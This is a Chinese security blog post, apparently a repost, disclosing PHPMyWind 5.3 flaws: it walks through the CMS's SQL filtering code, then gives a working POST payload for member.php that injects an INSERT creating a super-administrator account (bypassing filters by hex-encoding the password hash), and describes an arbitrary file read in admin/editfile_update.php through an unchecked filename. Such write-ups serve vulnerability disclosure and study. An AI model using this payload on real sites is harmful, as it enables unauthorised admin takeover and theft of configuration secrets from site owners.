当前位置:网站首页 > 网络安全 > 0day漏洞 > 正文

phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历)

花落花落 2018-01-12 2104 0

0x01 关键代码分析

1.首先查看核心的文件,在include/common.inc.php中了解到了一些东西.直接贴代码吧。


//检查外部传递的值并转义
function _RunMagicQuotes(&$svar)
{
    //PHP5.4已经将此函数移除
    if(@!get_magic_quotes_gpc())
    {
        if(is_array($svar))
        {
            foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
        }
        else
        {
            if(strlen($svar)>0 &&
               preg_match('#^(cfg_|GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$svar))
            {
                exit('不允许请求的变量值!');
            }

            $svar = addslashes($svar);
        }
    }
    return $svar;
}


//直接应用变量名称替代
foreach(array('_GET','_POST') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        if(strlen($_k)>0 &&
           preg_match('#^(GLOBALS|_GET|_POST|_SESSION|_COOKIE)#',$_k))
        {
            exit('不允许请求的变量名!');
        }

        ${$_k} = _RunMagicQuotes($_v);
    }
}
再看关键的sqlcheck部分。



//SQL语句过滤程序,由80sec提供,这里作了适当的修改
    function CheckSql($sql, $querytype='select')
    {
        $clean   = '';
        $error   = '';
        $pos     = -1;
        $old_pos = 0;


        //如果是普通查询语句,直接过滤一些特殊语法
        if($querytype == 'select')
        {
            if(preg_match('/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/', $sql))
            {
                $this->DisplayError("$sql||SelectBreak",1);
            }
        }

        //完整的SQL检查
        while(true)
        {
            $pos = strpos($sql, '\'', $pos + 1);
            if($pos === false)
            {
                break;
            }
            $clean .= substr($sql, $old_pos, $pos - $old_pos);

            while(true)
            {
                $pos1 = strpos($sql, '\'', $pos + 1);
                $pos2 = strpos($sql, '\\', $pos + 1);
                if($pos1 === false)
                {
                    break;
                }
                else if($pos2 == false || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }

            $clean .= '$s$';
            $old_pos = $pos + 1;
        }

        $clean .= substr($sql, $old_pos);
        $clean  = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        //老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
        if(strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'union detect';
        }

        //发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
        else if(strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
        {
            $fail  = true;
            $error = 'comment detect';
        }

        //这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
        else if(strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'slown down detect';
        }
        else if(strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'slown down detect';
        }
        else if(strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'file fun detect';
        }
        else if(strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'file fun detect';
        }

        //老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
        else if(preg_match('~\([^)]*?select~s', $clean) != 0)
        {
            $fail  = true;
            $error = 'sub select detect';
        }

        if(!empty($fail))
        {
            $this->DisplayError("$sql,$error",1);
        }
        else
        {
            return $sql;
        }
  }
可以知道对代入sql语句的数据过滤还是比较全面的,加上前面的转义,所以说直接对网站从交互部分进行sql注入是比较难得


0x02 发现前台sql注入之写入管理员账号与利用
漏洞发现在member.php中

//完善账号
else if($a == 'perfect')
{
    //初始化参数
    $username   = empty($username)   ? '' : $username;
    $password   = empty($password)   ? '' : md5(md5($password));
    $repassword = empty($repassword) ? '' : md5(md5($repassword));
    $email      = empty($email)      ? '' : $email;


    //验证输入数据
    if($username == '' or
       $password == '' or
       $repassword == '' or
       $email == '')
    {
        header('location:?c=perfect');
        exit();
    }


    if($password != $repassword)
    {
        header('location:?c=perfect');
        exit();
    }


    $uname_len = strlen($username);
    $upwd_len  = strlen($_POST['password']);
    if($uname_len<6 or $uname_len>16 or $upwd_len<6 or $upwd_len>16)
    {
        header('location:?c=perfect');
        exit();
    }

    if(preg_match("/[^0-9a-zA-Z_@!\.-]/",$username) or
       preg_match("/[^0-9a-zA-Z_-]/",$password) or
       !preg_match("/^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$/", $email))
    {
        header('location:?c=perfect');
        exit();
    }

    $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `username`='$username'");
    if(isset($r['id']))
    {
        ShowMsg('用户名已存在!','-1');
        exit();
    }

    $r = $dosql->GetOne("SELECT `id` FROM `#@__member` WHERE `email`='$email'");
    if(isset($r['id']))
    {
        ShowMsg('您填写的邮箱已被注册!','-1');
        exit();
    }


    //添加用户数据
    $regtime  = time();
    $regip    = GetIP();


    if(check_app_login('qq'))
    {
      ...
    }
    else if(check_app_login('weibo'))
    {
        ...
   }$dosql->ExecNoneQuery($sql);


    //用绑定账号登录
    $cookie_time = time()+3600;
    setcookie('username',      AuthCode($username ,'ENCODE'), $cookie_time);
    setcookie('lastlogintime', AuthCode($regtime  ,'ENCODE'), $cookie_time);
    setcookie('lastloginip',   AuthCode($regip    ,'ENCODE'), $cookie_time);

    ShowMsg('完善账号成功!','?c=default');
    exit();

}
看添加用户那一块,注意 $dosql->ExecNoneQuery($sql); 这段语句是在if或者else if逻辑之外的,只要我们不是qq或者微博登录,就可以使用这个语句,再加上$sql可控,也就导致了语句可控。

再看$dosql->ExecNoneQuery($sql);  这是数据库语句,跟踪ExecNoneQuery()这个function
//执行一个不返回结果的SQL语句,如update,delete,insert等
    function ExecNoneQuery($sql='')
    {
        global $dosql;
     ....
    }
可以看到该CMS作者提示说这是一个执行insert,delete,update的函数。

加上$sql可控,就想到写入一个具有管理员权限的账号。

漏洞利用
漏洞的触发条件:

1.$a == 'perfect'


2.$username,$password,$repassword,$email不为空


3.$password==$repassword


4.$username,$email是未被注册过的


5.非qq,微博直接登录

利用方法

注册一个账号,登陆后访问
http://127.0.0.1/PHPMyWind_5.3/member.php?a=perfect
然后post:



username=123tuifei&password=tuifeiseo&repassword=asdqwe&email=hhh@qq.com
&sql=insert into pmw_admin (`username`,`password`,`levelname`) values(12345,0x3166333261613463396131643265613031306164636632333438313636613034,1)
注意:

1.这里要求传入password(12345)为两次md5后的值,但是如果直接传入的话会报sql错误警告(有过滤),所以就直接将md5后的值在hex,就可以绕过过过滤。

2.levelname是用户权限等级,1表示超级管理员权限,若不加入则不能得到超级管理员权限。

这两个注意点也是我原先遇到的坑,后来看到一些师傅的文章才清楚。

最后12345 12345直接后台登录

写入成功!phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历) 0day漏洞 第1张

0x03 后台任意文件遍历
文件 admin/editfile_update.php

if($action == 'update')
{
    if($cfg_editfile == 'Y')
    {
        //设置读取目录
        $dir = PHPMYWIND_ROOT.'/';
    
        //处理写入内容
        $content = stripslashes($content);
        $content = str_replace("##textarea","<textarea",$content);
        $content = str_replace("##/textarea","</textarea",$content);
        $content = str_replace("##form","<form",$content);
        $content = str_replace("##/form","</form",$content);
    
        //内容写入文件
        Writef($dir.$filename, $content, 'w');

        ShowMsg('文件保存成功!','editfile.php');
        exit();
    }
    else
    {
        ShowMsg('后台不允许直接编辑PHP文件!','editfile.php');
        exit();
    }
}


//显示编辑文件
if(!empty($filename))
{
    //设置读取目录
    $dir        = PHPMYWIND_ROOT.'/';
    $filename   = iconv('utf-8', 'gb2312', $filename);
    $gbfilename = mb_convert_encoding($filename, 'utf-8', 'gb2312');

    if(file_exists($dir.$filename))
    {
        $content = '';
        $fp = fopen($dir.$filename, 'r');
漏洞点  $fp = fopen($dir.$filename, 'r'); 

与上一个注入点相似,if($action == 'update'),只要不进入这个if就可以触发漏洞点。$dir为根目录,filename这里是可控的。phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历) 0day漏洞 第2张

也就可以读取关键的配置文件了。


更多说明

原文作者:c1e4r

转载请注明来自花落博客,本文标题:《phpmywindV5.3最新漏洞合集(前台sql注入及后台任意文件遍历)》

标签:漏洞0daySQL注入任意文件遍历

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

关于我

欢迎关注微信公众号